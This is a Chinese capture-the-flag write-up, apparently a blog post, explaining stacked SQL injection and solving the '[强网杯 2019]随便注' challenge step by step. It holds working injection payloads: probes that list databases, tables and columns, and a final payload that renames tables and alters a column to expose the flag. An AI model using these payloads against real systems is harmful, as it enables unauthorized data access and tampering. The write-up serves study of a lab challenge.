【学习笔记 23】 buu [强网杯 2019]随便注

0x00 知识点

1.堆叠注入
2.利用rename,alter的sql命令完成数据库操作

0x01 详解

1.什么是堆叠注入?
堆叠注入就是利用sql命令中利用“;”来做一句sql命令的结束标志,但是在“;”后的同一行里添加其他sql命令仍可以执行。
2.堆叠注入与union injection(联合注入)之间的区别?
区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
3.堆叠注入的局限性?
堆叠注入并不是在每种情况下都能使用的。大多数时候,因为API或数据库引擎的不支持,堆叠注入都无法实现。

0x02 解题思路

这里我们会用到堆叠注入+数据库数据重命名的方法来解题。
1.打开题目,上边只显示了一个1,点击查询一下
在这里插入图片描述发现回显
2.尝试1’发现失败
在这里插入图片描述尝试1’#回显正常,判断存在sql注入漏洞。
在这里插入图片描述尝试用or连接测试1’ or 1=1#,发现有回显。在这里插入图片描述3.接下来就利用order by来测试字段
尝试

1' order by 2#

回显正常
尝试

1' order by 3#

回显出错,可以判断之后两个字段。
在这里插入图片描述4.尝试利用union,select联合查询进行查表。

1union select 1database()#

在这里插入图片描述直接返回一串过滤规则,说明联合注入行不通。
5.尝试构造堆叠注入。

1' ;show databases;#

在这里插入图片描述成功了,并返回所有数据库名称
那接下来查完库,接着查表。

1' ;show tables;#

在这里插入图片描述继续查完表继续查字段先看看words里的内容。

1' ;show columns from words;#

在这里插入图片描述
回显了两个字段内容
接下来同样查看 1919810931114514里的内容

1';show columns from `1919810931114514`;#

注意这里的1919810931114514这一串数字要用反单引号引住,不然会无法回显。
注意:在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符
在这里插入图片描述很明显可以得出一下结论,输入1,或者1‘ or 1=1#所回显的数据全部来自words这个表单,那么我们的解题思路就很明显了。

1.首先利用rename将words表的给改个名字
2.讲1919810931114514表的名字改成words
3.应为会一次回显两个字段的信息,也就是id和data,那么我们就利用alter来修改新的words表
4.最后在利用1’ or 1=1#来回显全部内容得到到结果 。

最终payload

 0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

在这里插入图片描述
最后利用,来回显结果

1' or 1=1#

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_43553654/article/details/107589757